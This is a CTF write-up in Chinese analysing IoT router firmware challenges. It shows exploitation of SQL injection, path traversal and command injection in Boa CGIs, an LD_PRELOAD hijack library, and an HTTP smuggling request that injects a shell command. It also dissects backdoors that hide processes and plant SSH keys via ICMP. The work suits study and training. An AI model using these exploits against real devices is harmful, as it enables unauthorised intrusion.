2022西湖论剑线下部分个人觉得有比较意思的题目复现: )
尝试直接访问index.html或者cgi只会收到400错误,说明发送的请求格式有问题。所以本来打算直接调试,但是由于gdb似乎对mips16到mips32切换支持的不是很好,很难调试。
$ curl -v http://192.168.1.1:8080/index.html
* Trying 192.168.1.1...
* TCP_NODELAY set
* Connected to 192.168.1.1 (192.168.1.1) port 8080 (#0)
> GET /index.html HTTP/1.1
> Host: 192.168.1.1:8080
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 400 Bad Request
< Date: Sat, 03 Dec 2022 09:22:41 GMT
< Server: Boa/0.94.14rc21
< Accept-Ranges: bytes
< Connection: close
< Content-Type: text/html; charset=ISO-8859-1
<
<HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD>
<BODY><H1>400 Bad Request</H1>
Your client has issued a malformed or illegal request.
</BODY></HTML>
* Closing connection 0
所以比对boa源码,根据fprintf(stderr, "boa: server version %s\n", "Boa/0.94.14rc21")
得知版本为0.94.14rc21;然后就是定位大概题目编译的boa程序在哪一阶段会对请求做额外处理。根据boa.conf
,在tmp下有日志文件:
ErrorLog /tmp/error_log
# AccessLog: The location of the access log file. If this does not
# start with /, it is considered relative to the server root.
# Comment out or set to /dev/null (less effective) to disable.
# Useful to set to /dev/stdout for use with daemontools.
# Access logging.
# Please NOTE: Sending the logs to a pipe ('|'), as shown below,
# is somewhat experimental and might fail under heavy load.
# "Usual libc implementations of printf will stall the whole
# process if the receiving end of a pipe stops reading."
#AccessLog "|/usr/sbin/cronolog --symlink=/var/log/boa/access_log /var/log/boa/access-%Y%m%d.log"
AccessLog /tmp/access_log
而源码中表示http头部和body处理应该分别在read_header
和read_body
。可以重新开启xhttpd服务并添加debug参数,这样可以在日志中查看更具体的信息。
if (retval == 1) {
switch (current->status) {
case READ_HEADER:
case ONE_CR:
case ONE_LF:
case TWO_CR:
retval = read_header(current);
break;
case BODY_READ:
retval = read_body(current);
break;
case BODY_WRITE:
retval = write_body(current);
break;
case WRITE:
retval = process_get(current);
break;
case PIPE_READ:
retval = read_from_pipe(current);
break;
case PIPE_WRITE:
retval = write_from_pipe(current);
break;
case IOSHUFFLE:
}
}
如图在构造GET方法和POST方法后都停在了对header解析的阶段,所以很有可能题目中添加了对header某些字段的检查;通过比对应源码中read_header->process_option_line
解析header中的字段并且添加到request中的键值对,而在题目中对应解析函数(sub_45F8A0)中多了一个对于AUTHORIZATION
的解析:
else if ( strcmp(v11, "ACCEPT") )
{
v10 = memcmp(v11, "AUTHORIZATION", 13);
if ( v10 )
return add_cgi_env(a1, v11, v4, 0);
if ( (unsigned int)strlen(v4) >= 0x101 || strncasecmp(v4, "Basic ", 6) || (v12 = (_BYTE *)strchr(v4, ':')) == 0 )
{
BadRequest(a1);
return v10;
}
*v12 = 0;
a1->mmap_entry_var = (void *)strdup(v4 + 6);
a1->fd = strdup(v12 + 1);
}
return 1;
这里需要AUTHORIZATION:Basic ?:?
格式的字段,当然如果没有AUTHORIZATION的话也不会直接导致400问题,所以直接原因不是这里,但至少从这里可知很可能需要用户验证;a1->mmap_entry_var和a1->fd应该就是username, token(这个结构体直接导入的源码的,在源码中没有用户验证相关成员所以肯定是修改的)。process_option_line->add_cgi_env(request * req, const char *key, const char *value,int http_prefix)
专门用于设置CGI环境,大致原理是为每个键值对key=value调用malloc分配空间保存,而http_prefix是否为0决定是在key前面添加HTTP_
前缀。
在解析process_option_line解析完字段后,没问题,就是访问文件或者cgi的阶段可能有限制;这在源码中read_header->process_header_end
实现:
/* terminate string that begins at req->header_line */
if (req->logline) {
if (process_option_line(req) == 0) {
/* errors already logged */
return 0;
}
} else {
if (process_logline(req) == 0)
/* errors already logged */
return 0;
if (req->http_version == HTTP09)
return process_header_end(req);
}
/*
* Name: process_header_end
*
* Description: takes a request and performs some final checking before
* init_cgi or init_get
* Returns 0 for error or NPH, or 1 for success
*/
int process_header_end(request * req)
源码中process_header_end会在调用init_cgi和init_get之前对uri进行解码、检查host等。而在xhttp中对应位置(sub_45F6B0),出现了对username和token的校验:
v10 = a1->mmap_entry_var;
if ( !v10 )
goto LABEL_9;
if ( !a1->fd )
goto LABEL_9;
memset(v17, 0, sizeof(v17));
if ( sub_45F684((int)v17, (int)v10) )
goto LABEL_9;
v4 = strcmp(v17, a1->fd);
if ( v4 )
{
v4 = 0;
BadRequest403((int)a1);
return v4;
}
LABEL_9:
BadRequest(a1);
return 0;
//sub_45F684->sub_45F4F4
int __fastcall sub_45F4F4(int a1, int a2)
{
const char *v3; // $v0
int v4; // $s1
int v6; // $s1
_DWORD *v8; // [sp+2Ch] [-41Ch] BYREF
const char *v9; // [sp+30h] [-418h] BYREF
char v10[1024]; // [sp+34h] [-414h] BYREF
v8 = 0;
v9 = 0;
if ( sub_45A9BC((int)"/tmp/user.db", (int *)&v8) )
{
v3 = sub_41FED4((int)v8);
fprintf(stderr, "Cannot open database: %s\n", v3);
}
else
{
strcpy(v10, "SELECT * FROM User where Name='");
strcat(v10, a2);
strcat(v10, "';");
v4 = sub_44895C(v8, v10, (int (__fastcall *)(int, int, int *, _DWORD *))sub_45EE64, a1, &v9);
if ( !v4 )
{
sub_433CB8((int)v8);
return v4;
}
v6 = stderr;
fputs("Failed to select data\n", stderr);
fprintf(v6, "SQL error: %s\n", v9);
sub_407498((int)v9);
}
v4 = 1;
sub_433CB8((int)v8);
return v4;
}
那么显然使用数据库存储用户信息,在这里会校验AUTHORIZATION中的用户信息,没有通过才直接导致的400/403问题。user.db文件:
sqlite> .table
User
sqlite> .schema
CREATE TABLE User(Id INT, Name TEXT, Password TEXT, Role TEXT);
sqlite> SELECT * FROM User;
1|guest|guest|2
2|admin|DmdcS14R|0
之后的cgi问题其实都不算难。
根据启动脚本来看,/usr/bin/www/index.html
是可以访问的:
#!/bin/sh /etc/rc.common
START=99
start() {
rm -rf /tmp/user.db
echo 'hello' > /usr/bin/www/index.html
/usr/bin/xhttpd &
}
但是实际上却有问题,同理www下的cgi也一样不能直接访问。那么应该是websever做了一些处理,因此尝试调试对比Boa源码:fprintf(stderr, "boa: server version %s\n", "Boa/0.94.14rc21")
。但是gdb 远程调试过程中本机gdb-mutiarch无法正常运行,比如查看汇编出错,无法下断点,运行后无法断下:
但是在调试器cgi程序时却能正常运行,估计是程序版本太高的原因,如上图函数开头并不是直接开栈而是save
这个指令,应该和设置canary有关。而cgi子程序中没有出现这样的函数开头。因此暂时只能直接IDA静态比对。后来发现其编译选项是mips32r2和mips16
:其中mips32r2表示mips架构某个指令集(ISA)而mips16表示使用拓展16位压缩指令集,这个模式下cpu可以执行同一文件中的32位/16位指令(MIPS Application Specific Extensions (ASE) - Imagination)(MIPS也有"thumb模式"我是万万没想到的,太菜了)
由于xhttp编译的时候启用了-mips16,可以在gdb中设置architecture mips:16获得正常的汇编输出,而他的依赖库libgcc_s.so.1
,libc.so
都没有开启也就是正常的mips32 ISA,所以在调试时如果遇到入库和出库情况gdb就会搞不清楚而出错!
尝试高版本gdb+gdbserver解决调试问题,从GNU下载的gdb源码包括gdbserver,在编译时需要注意configure
配置:
• host:The system that is going to run the software once it is built. Once the software has been built, it will execute on this particular system.
• 即编译完成的二进制文件要放在什么架构的host上 跑
• build:The system where the build process is being executed. For most uses this would be the same as the host system, but in case of cross-compilation the two obviously differ.
• 二进制文件在什么架构上编译的,一般和host一样
• target:The system against which the software being built will run on. This only exists, or rather has a meaning, when the software being built may interact specifically with a system that differs from the one it's being executed on (our host). This is the case for compilers, debuggers, profilers and analyzers and other tools in general.
• 这个仅当二进制运行时需要和某个特定架构交互,而这个特定架构与该host架构不同时才有效。如gdbserver不需要指定target,而gdb要remote到某个异架构端时就需要指定target了。
在本地编译时gdb总是遇到GMP is missing or unusable
错误,以各种方式安装libgmp都无法解决(见gdbserver-all-in-one 手册 | SkYe231 Blog (mrskye.cn))。用以下命令编译gdbserver:
mkdir build && cd build
../configure --host=mipsel-linux-gnu
make -j8 all-gdbserver CFLAGS='-mips32r2 -O2 -static' CXXFLAGS='-mips32r2 -O2 -static'
mips-linux-gnu-strip ./gdbserver
编译出来的gdbserver成功运行在设备上,但是问题一样存在(悲)。那么如果没有调试环境怎么确定Boa源码做了哪些修改呢,可以尝试符号恢复(试了效果不好)。
通过boa源码可知子进程调用使用了pipe管道和父进程交互:
漏洞位于main->sub_408020->sub_408064->sub_408098:
int sub_408098()
{
int v1; // [sp+18h] [+18h]
char v2[128]; // [sp+1Ch] [+1Ch] BYREF
char v3[40]; // [sp+9Ch] [+9Ch] BYREF
char v4[1028]; // [sp+C4h] [+C4h] BYREF
strcpy(v2, "/usr/bin/upload/");
sub_4044D4((int)"name", v3, 30);
strcat(v2, v3);
v1 = fopen(v2, "rb");
if ( !v1 )
return fwrite("<p>File not found</p>\n", 1, 22, FileFD);
memset(v4, 0, 1024);
fread(v4, 1024, 1, v1);
fclose(v1);
fprintf(FileFD, v4);
return system("rm -rf /usr/bin/upload/*");
}
int __fastcall sub_4044D4(int a1, _BYTE *buf, int a3)
{
char **kv_name; // [sp+18h] [+18h]
kv_name = (char **)sub_4070C0(a1);
if ( kv_name )
return sub_404898(kv_name, buf, a3, 0);
*buf = 0;
return 4;
}
通过调试可知sub_4044D4是将调用get.cgi的name参数值赋值到v3中,而在sub_4044D4->sub_404898做了真正的赋值操作但是没有对目录穿越做限制(../
),只是对\n \r
处理了一下,这里使用漏洞穿越即可cat flag:
在直接分析这个cgi之前,xhttpd中对其调用有校验操作,还需要用户对应的Role
值为0也就是需要admin的权限。虽然admin的Token是随机的,但是在数据库函数中所使用的SQL语句是直接拼接的所以存在注入:
回到cgi中,实现了一个ping和curl的测试功能,通过参数type选定具体功能,param参数选定ping或者curl的参数。sub_408258和sub_408304都存在很简单的命令拼接导致命令注入,sub_4080B8函数会对param进行过虑,但是没有过虑\n
。因此利用diag.cgi需要SQL注入+\n绕过即可。不过需要注意的是需要用urlencode 发送特殊字符,然后由header(POST)字段中的application/x-www-form-urlencoded
表明需要解码。
int sub_4083B0()
{
char v1[28]; // [sp+18h] [+18h] BYREF
char v2[68]; // [sp+34h] [+34h] BYREF
sub_403D98((int)"type", v1, 20);
sub_403D98((int)"param", v2, 64);
if ( sub_4080B8(v2) )
return fwrite("<p>wrong parameter</p>\n", 1, 23, dword_419154);
if ( !strncmp(v1, "ping", 4) )
{
sub_408258(v2);
}
else if ( !strncmp(v1, "curl", 4) )
{
sub_408304(v2);
}
return fwrite("done\n", 1, 5, dword_419154);
}
int __fastcall sub_4080B8(int a1)
{
int i; // [sp+18h] [+18h]
int v3; // [sp+1Ch] [+1Ch]
v3 = strlen(a1);
for ( i = 0; i < v3; ++i )
{
if ( *(_BYTE *)(a1 + i) == '`'
|| *(_BYTE *)(a1 + i) == '|'
|| *(_BYTE *)(a1 + i) == '$'
|| *(_BYTE *)(a1 + i) == '&'
|| *(_BYTE *)(a1 + i) == '('
|| *(_BYTE *)(a1 + i) == ')'
|| *(_BYTE *)(a1 + i) == '{'
|| *(_BYTE *)(a1 + i) == '}'
|| *(_BYTE *)(a1 + i) == ';' )
{
return 1;
}
}
return 0;
}
在upload.cgi中存在目录穿越,限制了参数长度不超过25但是足够覆盖某些文件,比如shadow:
int sub_4080B8()
{
int v1; // [sp+18h] [+18h]
_DWORD *v2; // [sp+1Ch] [+1Ch] BYREF
char fileName[2048]; // [sp+20h] [+20h] BYREF
char v4[1024]; // [sp+820h] [+820h] BYREF
int v5; // [sp+C20h] [+C20h] BYREF
char v6[132]; // [sp+C24h] [+C24h] BYREF
if ( sub_403E1C((int)"file", fileName, 1024) )
return puts("<p>No file was uploaded.<p>");
if ( (unsigned int)strlen(fileName) >= 25 )
return puts("<p>Wrong parameter</p>");
if ( sub_404248((int)"file", &v2) )
return fwrite("Could not open the file.<p>\n", 1, 28, dword_419154);
strcpy(v6, "/usr/bin/upload/");
strcat(v6, fileName);
v1 = fopen(v6, &dword_40888C);
while ( !sub_4043C8(v2, (int)v4, 1024, &v5) )
fwrite(v4, v5, 1, v1);
fclose(v1);
return sub_404480(v2);
}
所以一种比较直接的利用就是覆盖shadow,登录主机。在官方WP中利用任意文件上传和xhttpd设置cgi环境变量时没有加前缀,可实现依赖库劫持。前文提到的add_cgi_env(request * req, const char *key, const char *value,int http_prefix)
函数用于设置cgi程序的环境变量,最后一个参数需要设置为1才会在key
前面添加HTTP_
。而在xhttp解析头部字段时(对应源码process_option_line,xhttp中sub_45F8A0)没有设置环境变量前缀,这就可以传入LD_PRELOAD:path/to/so指定依赖库(学到了~),再配合upload实现劫持:
//hook.c
#include <stdlib.h>
char *getenv(const char *name){
system("cat /dev/ttyUSB0");
return NULL;
}
//mipsel-linux-gnu-gcc-5 -mips32r2 -Wall -fPIC -shared -o hook.os hook.c
对于fork+execve子程序调用的情况调试方法有:
• patch子程序
• shell脚本监视子程序启动
在patch过程有个坑是:对于diag.cgi是个mips架构由于流水线效应,分支指令后面一般跟着一条有效指令或者nop。而IDA在把原来不是分支指令patch为分支指令后会强制在后面填充一个nop
,如下图所示:
然后在保存这个patched文件时IDA报错如下:
暂时没有看到有解决方法,因此使用ghidra来patch(参考【技术分享】IoT固件分析入门 - 网安 (wangan.com)):
需要从github上下载一个脚本来保存:SavePatch.py
jailbreak对应的启动文件为/etc/rc.d/S97jailbreak
,程序本体为appweb
会监听本地7777端口。而该本地端口的访问由nginx监听转发外部端口59659完成,只有以ejs
或者php
结尾的URI的请求才行。
#!/bin/sh /etc/rc.common
START=97
USE_PROCD=1
PROG=/usr/bin/appweb
start_service() {
procd_open_instance
procd_set_param command "$PROG" "127.0.0.1:7777"
procd_set_param respawn 3600 2 10000
procd_close_instance
}
reload_service() {
procd_send_signal appweb
}
server {
#see uci show 'nginx._redirect2ssl'
listen 59659;
listen [::]:59659;
location ~* \.(ejs|php)$ {
proxy_redirect off;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Real-PORT $remote_port;
proxy_set_header Host $host;
proxy_set_header Proxy "";
proxy_pass http://127.0.0.1:7777;
}
}
appweb是这道题的关键程序,所以先得了解他的架构。
appweb是一个专用于嵌入式环境的开源webserver。其特点为使用类似apache的配置文件,Pipeline流水线处理请求,动态模块加载。整个框架为:每个请求通过Pipeline流水线完成。在此基础上URI匹配,身份验证等通过读取配置文件查看需求。最后以在Pipeline上加载模块的方式进行数据处理。如下图:
文件系统中并没有appweb.conf文件,在其启动脚本中也没有指定。所以这里简单看看官方的一个例子即可:
Home "."
ErrorLog error.log
ServerName http://localhost:7777
Documents "/var/web"
Listen 7777
LoadModule espHandler mod_esp
AddHandler espHandler esp
必须要用Home指定全局路径,还需要注意的就是LoadModule
和AddHandler
,首先从mod_esp(路径,一般是个so库)中加载espHandler模块然后指定对后缀为esp
的使用。
pipeline可以看做一个双向管道,两端是client和handler中间可以防止多个模块(filter, connector)。其中包含了许多机制如队列,数据包,缓冲和事件调度。其中数据包只会在模块中直接传递而不会进行复制操作,这可以提升一定的效率。
上图中的小方块被视为stage(s),包括:Handlers,Filters,Network Connectors(这些都是模块)。handlers一般通过appweb配置文件动态加载,其用于动态生成响应数据(CGI方式依赖额外程序来生成)。filters在数据出入或传出handlers时操作数据(一般用于压缩或者加密数据),比如appweb项目自身用filter模块实现 分块传输编码(Transfer Chunk Encoding)。Connectors是pipelin的最后一环,用于将数据包传给client。appweb提供两个分别是通用的net connector
和专门传静态文件的send connector
。
为了解决一个服务器完成难以完成各种要求的问题,appweb使用动态加载handler的方式来对其功能进行"分块",来尽量满足定制化需求(有点像积木的意思)。可以通过动态库的形式动态加载或者从源码将模块静态编译进去。在conf文件中可以定义,对于不同的URI等配置不同的handler来实现动态加载模块进行处理。handlers可以存在多个,比如源码中若不指定conf文件config.c
:
大致对应如下配置文件:
LoadModule authFilter mod_auth
AddHandler authFilter
LoadModule cgiHandler mod_cgi
AddHandler cgiHandler .cgi .cgi-nph .bat .cmd .pl .py
LoadModule ejsHandler mod_ejs
AddHandler ejsHandler .ejs
LoadModule phpHandler mod_php
AddHandler phpHandler .php
LoadModule fileHandler mod_file
AddHandler fileHandler
每个appweb例程所提供的服务(包括virtual host)都由struct MaHttp
维护,结构如下:
typedef struct MaHttp {
MprHashTable *stages; /**< Hash table of stages */
struct MaServer *defaultServer; /**< Default web server object */
MprList *servers; /**< List of web servers objects */
MaLimits limits; /**< Security and resource limits */
/*
* Some standard pipeline stages
*/
struct MaStage *netConnector; /**< Network connector */
struct MaStage *sendConnector; /**< Send file connector */
struct MaStage *authFilter; /**< Authorization filter (digest and basic) */
struct MaStage *rangeFilter; /**< Ranged requests filter */
struct MaStage *cgiHandler; /**< CGI handler */
struct MaStage *chunkFilter; /**< Chunked transfer encoding filter */
struct MaStage *dirHandler; /**< Directory listing handler */
struct MaStage *egiHandler; /**< Embedded Gateway Interface (EGI) handler */
struct MaStage *ejsHandler; /**< Ejscript Web Framework handler */
struct MaStage *fileHandler; /**< Static file handler */
struct MaStage *passHandler; /**< Pass through handler */
struct MaStage *phpHandler; /**< PHP handler */
{...}
}
appweb提供的stages如上,在对该项目进行二次开发的时候可以直接编写模块(库),包括filter、handler、connector。然后在conf文件中加载模块并设置filter、handler、connector等如:
SetConnector netConnector
<if AUTH_MODULE>
LoadModule authFilter mod_auth
#
# The auth filter must be first in the pipeline before all handlers and
# after the connector definition. Only needed on the output pipeline.
#
AddOutputFilter authFilter
</if>
#
# Add other filters. Order matters. Chunking must be last.
#
<if RANGE_MODULE>
LoadModule rangeFilter mod_range
AddOutputFilter rangeFilter
</if>
<if CHUNK_MODULE>
LoadModule chunkFilter mod_chunk
AddFilter chunkFilter
</if>
#
# Include all other modules before the file module which is the catch-all.
#
Include conf/modules/*
#
# The file handler supports requests for static files. Put this last after
# all other modules and it becomes the catch-all due to the empty quotes.
#
<if FILE_MODULE>
# PutMethod on
LoadModule fileHandler mod_file
AddHandler fileHandler .html .gif .jpeg .png .pdf ""
</if>
其中LoadModule
对应源码中MprModule *maLoadModule(MaHttp *http, cchar *name, cchar *libname)
函数,libname就是模块的路径,name是模块名称(不是库文件名)。函数中调用mprLoadModule
打开动态库并且执行初始化函数,初始化函数名称其格式为maname
Init:
if ((handle = dlopen(path, RTLD_LAZY | RTLD_GLOBAL)) == 0) {
mprError(ctx, "Can't load module %s\nReason: \"%s\"", path, dlerror());
} else if (initFunction) {
if ((fn = (MprModuleEntry) dlsym(handle, initFunction)) != 0) {
if ((mp = (fn)(ctx, path)) == 0) {
mprError(ctx, "Initialization for module %s failed", module);
dlclose(handle);
} else {
mp->handle = handle;
}
} else {
mprError(ctx, "Can't load module %s\nReason: can't find function \"%s\"", path, initFunction);
dlclose(handle);
}
}
在初始化函数中,开发者就可以根据传入的MaHttp实例设置stages。stage的结构体为struct MaStage
里面包含了很多回调函数如:parse、modify、outgoingData等。三要素filter、handler、connector之间的主要区别就在于stage实例的回调函数以调用时机。例如需要一个用户身份验证功能,就可以实现一个filter模块,因为身份验证一般在请求处理(handler进行)之前:
/*
* Loadable module initialization
*/
MprModule *maAuthFilterInit(MaHttp *http, cchar *path)
{
MprModule *module;
MaStage *filter;
module = mprCreateModule(http, "authFilter", BLD_VERSION, NULL, NULL, NULL);
if (module == 0) {
return 0;
}
filter = maCreateFilter(http, "authFilter", MA_STAGE_ALL);
if (filter == 0) {
mprFree(module);
return 0;
}
http->authFilter = filter;
filter->match = matchAuth;
filter->parse = parseAuth;
return module;
}
前面mprCreateModule,maCreateFilter分别是注册模块和在pipeline上注册filter stage。重点在于parseAuth和matchAuth,parseAuth用于解析conf配置文件比如验证算法、授权用户;matchAuth根据解析情况结合请求进行校验。
还有实现handler和connect也是类似的。maCreateFilter、maCreateHandler、maCreateConnector之间不同的是对stage->flags标志的设置。
对appweb有个初步认识后,对这个题目就容易理解一些了。从配置文件可知appweb只用来处理对ejs/php
文件的访问,其中ejs是嵌入式js,是一套简单的语言模板用于动态生成页面。题目中并没有appweb的配置文件,所以写在了maConfigureServer函数中:
但其实只有mod_ejs.so存在,所以就得从他的初始化函数入手。比对源码中的ejs实现可以识别一些函数,改动不是很大,最后定位在matchEjs函数中存在命令注入。
int __fastcall matchEjs(_DWORD *a1, int a2, _BYTE *a3){
IS_AUTHORIZE = req_is_auth((int)a1);
if ( !strcmp(*(_DWORD *)(v11 + 72), "/index.ejs") )
{
if ( IS_AUTHORIZE )
{
v13 = mprLookupHash(*(_DWORD *)(v11 + 180), "HTTP_EJS");
system(v13);
maFormatBody(a1, "Hello Admin!", "Login successs!");
maFailRequest(a1, 200, "Login successs!");
}
else
{
v4 = strlen(*(_DWORD *)(v11 + 112));
v9 = malloc(v4 + 128);
sprintf(v9, "http://%s:%d/login.html", *(const char **)(v11 + 112), 59659);
maFormatBody(a1, "Forbidden", "Not Authorize! Please Login!");
maSetHeader(a1, 0, "Location", v9);
maFailRequest(a1, 302, "Not Authorize! Please Login!");
free(v9);
}
}
if ( !strcmp(*(_DWORD *)(v11 + 72), "/login_verify.ejs") )
{
v14 = maGetQueryString(a1);
if ( v14 )
{
v5 = strlen(v14);
v15 = malloc(v5 + 1);
strcpy(v15, v14);
for ( i = mprStrTok(v15, "&", v19); i; i = mprStrTok(0, "&", v19) )
{
v16 = strchr(i, '=');
if ( v16 )
{
v6 = (_BYTE *)v16;
v17 = v16 + 1;
*v6 = 0;
if ( !strcmp(i, "username") && !strcmp(v17, "admin") )
{
if ( !strcmp(i, "password") && !strcmp(v17, "test123") )
{
IS_AUTHORIZE = 1;
}
else
{
maFormatBody(a1, "Auth error", "Password error!");
maFailRequest(a1, 403, (const char *)&dword_61D8);
}
}
else
{
maFormatBody(a1, "Auth error", "Username error!");
maFailRequest(a1, 403, (const char *)&dword_61D8);
}
}
}
free(v15);
}
else
{
v7 = strlen(*(_DWORD *)(v11 + 112));
v10 = malloc(v7 + 128);
sprintf(v10, "http://%s:%d/login.ejs", *(const char **)(v11 + 112), 59659);
maFormatBody(a1, "Forbidden", "Not username and password input!");
maSetHeader(a1, 0, "Location", v10);
maFailRequest(a1, 302, "Not username and password input!");
free(v10);
}
}
}
整体逻辑为:在访问/index.ejs将会跳转到登录页面,上传参数后进入函数下面的判断逻辑如果验证通过则IS_AUTHORIZE=1,那么然后访问/index.ejs就能通过设置头部成员HTTP_EJS完成命令注入。但是验证逻辑是无法绕过的(逻辑问题)。根据官方WP,在req_is_auth函数中验证了ip是否为本地ip,而在nginx转发时设置了proxy_set_header X-Real-IP $remote_addr
所以直接访问也绕不过去:
BOOL __fastcall req_is_auth(int a1)
{
BOOL result; // $v0
int v2; // [sp+18h] [+18h]
v2 = mprLookupHash(*(_DWORD *)(*(_DWORD *)(a1 + 32) + 180), "HTTP_X_REAL_IP");
if ( v2 )
result = strcmp(v2, "127.0.0.1") == 0;
else
result = 0;
return result;
}
需要使用http走私,在源码中parseRequest->parseFirstLine
完成对头部第一行的解析,但是题目中修改了对OPTIONS
请求的处理:
if ( !strcmp(key, "CONTENT_LENGTH") )
{
if ( !strcmp(req->methodName, "OPTIONS") )
{
LODWORD(req->length) = 0;
HIDWORD(req->length) = 0;
}
这样可以构造OPTIONS请求如下:
OPTIONS /index.ejs HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Cache-Control: max-age=0
Content-Length: 245
GET /index.ejs HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
X-Real-IP: 127.0.0.1
EJS: ls >/tmp/zzz
Cache-Control: max-age=0
这样一个数据包就会被服务器识别为两个实现绕过。
该程序接受ICMP报文并检测数据段中经运算后是否等于本地时间(Mon,day,hour,min),然后开启一个反向shell,端口由ICMP数据中指定。用C实现ICMP的时候注意报文的checksum字段的计算。
一般使用的SOCK_STREAM、SOCK_DGRAM能够完成核心数据发送与接收,而网络模型协议栈的中间层透明化头部信息全部被剥离recv或者send只有数据对象,即不操控链路层或者网络层数据。SOCK_RAW就是用来操作这两层数据的来实现一些其他的功能(ping, sniffer, routetacer):
• 使用raw socket 可以读写ICMP、IGMP等分组。
• 大多数内核只处理IPv4数据报中一个名为协议的8位字段的值为1(ICMP)、2(IGMP)、6(TCP)、17(UDP)四种情况。然而该字段的值还有许多其他值。进程使用raw socket 就可以读写那些内核不处理的IPv4数据报了。因此,可以使用原始套接字定义用户自己的协议格式。
• 通过使用raw socket ,进程可以使用IP_HDRINCL套接口选项自行构造IP头部。这个能力可用于构造特定类型的TCP或UDP分组等。
SOCK_RAW具体实现上可以分为链路层原始套接字
和网络层原始套接字
两大类。创建链路层原始套接字使用socket(PF_PACKET, type, htons(protocol))。第三个参数是协议类型其只对报文接收有意义,见下图:
当type为SOCK_RAW时数据接收或者发送都从MAC帧开始(链路层),当type为SOCK_DGRAM时链路层由内核接管处理,用户只需接收或构造网络层数据。创建网络层原始套接字使用socket(PF_INET/AF_INET, SOCK_RAW, protocol)来操作网络层即以上的数据。接受报文时从网络层(IP)首部开始,以及建立在IP协议之上的TCP/ICMP等首部。发送报文时默认情况IP首部由内核接管,用户构造TCP/UDP/ICMP等协议数据。但是通过setsockopt()给套接字设置上IP_HDRINCL选项,就需要在发送时自行构造IP首部。见下图:
这个固件无法直接使用串口或者ssh直连,这是因为在二号固件中设置了root的登录密码:
可以修改二号固件的shadow文件然后重打包再刷入。
对应程序为/usr/bin/main
。程序通过mount指令将一个空文件挂载到/proc/pid下面实现进程隐藏(ps看不见):
int hidePid()
{
int result; // $v0
int v1; // [sp+20h] [+20h]
int v2; // [sp+24h] [+24h]
char v3[256]; // [sp+28h] [+28h] BYREF
v1 = getpid();
memset(v3, 0, sizeof(v3));
if ( v1 >= 0 )
{
if ( access("/tmp/pid", 0) )
{
v2 = strdup("mkdir -p /tmp/pid");
system(v2);
}
sprintf(v3, "mount --bind %s /%s/%d", "/tmp/pid", "proc", v1);
system(v3);
result = 1;
}
else
{
perror("pid error!");
result = -1;
}
return result;
核心函数是sub_401764,大概逻辑是:接受ICMP ECHO request包,然后判断icmp_id是否为固定值0xDEAD
。通过检测后对数据部分进行base64解码(Table异化),然后解码的数据进行校验若通过则从数据找到@本机Mac地址和@key可以将ssh的公钥写入/etc/dropbear/authorized_keys
实现ssh无秘钥登录。
while ( !recv(v2, icmp, 1024, 0) );
checksum = icmp[11];
}
while ( LOBYTE(icmp[10]) != 8 ); // Type == 8
if ( icmp[12] == 0xDEAD ) // ICMP id
{
base64_decode((int)&icmp[12], (int)v9);
if ( getXor((int)&v9[3]) == checksum )
{
eth5Mac = sub_40168C();
if ( eth5Mac )
{
v5 = strtok(&v9[3], "@");
if ( v5 )
{
v6 = strtok(0, "@");
if ( !strcmp(eth5Mac, v5) )
{
v7 = fopen("/etc/dropbear/authorized_keys", "a+");
v1 = strlen(v6);
fwrite(v6, v1, 1, v7);
fclose(v7);
}
}
同时在nf_flow_in.ko内核模块也需要分析。linux内核模块一般放在/lib/modules/$(uname -r)/目录下,在/etc/modules-load.d/
中来配置系统启动时加载哪些模块,但是openwrt是modules-boot.d。/etc/modprobe.d/
下配置模块加载时的一些参数,openwrt上对应/etc/modules.d/。
Netfilter 是 Linux 内核中的一个框架。linux实现数据过滤,连接跟踪(Connect Track),网络地址转换(NAT)等功能主要基于此框架。核心是该框架在网络协议栈中定义了一些列hook点,可以在这些点中注册函数对协议栈中各层次的数据包进行处理。
从上图可知挂载点主要有5个:
• PRE_ROUTING
:路由前。数据包进入IP层后,但还没有对数据包进行路由判定前。
• LOCAL_IN
:进入本地。对数据包进行路由判定后,如果数据包是发送给本地的,在上送数据包给上层协议前。
• FORWARD
:转发。对数据包进行路由判定后,如果数据包不是发送给本地的,在转发数据包出去前。
• LOCAL_OUT
:本地输出。对于输出的数据包,在没有对数据包进行路由判定前。
• POST_ROUTING
:路由后。对于输出的数据包,在对数据包进行路由判定后。
相关的函数与数据结构有:nf_register_net_hook完成钩子函数注册,struct nf_hook_ops结构体定义如下(最好看对应版本的源码,/lib/modules/5.4.215/可知源码版本):
struct nf_hook_ops {
/* User fills in from here down. */
nf_hookfn *hook;
struct net_device *dev;
void *priv;
u_int8_t pf;
unsigned int hooknum;
/* Hooks are ordered in ascending priority. */
int priority;
};
/* Function to register/unregister hook points. */
int nf_register_net_hook(struct net *net, const struct nf_hook_ops *ops);
void nf_unregister_net_hook(struct net *net, const struct nf_hook_ops *ops);
int nf_register_net_hooks(struct net *net, const struct nf_hook_ops *reg,
unsigned int n);
void nf_unregister_net_hooks(struct net *net, const struct nf_hook_ops *reg,
unsigned int n);
钩子函数的定义为:
typedef unsigned int nf_hookfn(void *priv,
struct sk_buff *skb,
const struct nf_hook_state *state);
hook的返回值有几种情况:
• NF_DROP == 0: 默默丢弃数据包
• NF_ACCEPT == 1: 数据包继续在内核协议栈中传输
• NF_STOLEN == 2: 数据包不继续传输,由钩子方法进行处理
• NF_QUEUE == 3: 将数据包排序,供用户空间使用
• NF_REPEAT == 4: 再次调用钩子函数
nf_flow_in.ko注册点为:
nf_register_net_hooks(&init_net, off_940, 1);
.data..read_mostly:00000940 off_940: .word hook # DATA XREF: _5+4↑o
.data..read_mostly:00000940 # _5+10↑o ...
.data..read_mostly:00000940 # nf_hookfn *
.data..read_mostly:00000944 .word 0 # struct net_device *
.data..read_mostly:00000948 .word 0 # void *priv
.data..read_mostly:0000094C .word 2 # u_int8_t pf
.data..read_mostly:00000950 .word 1 # unsigned int hooknum
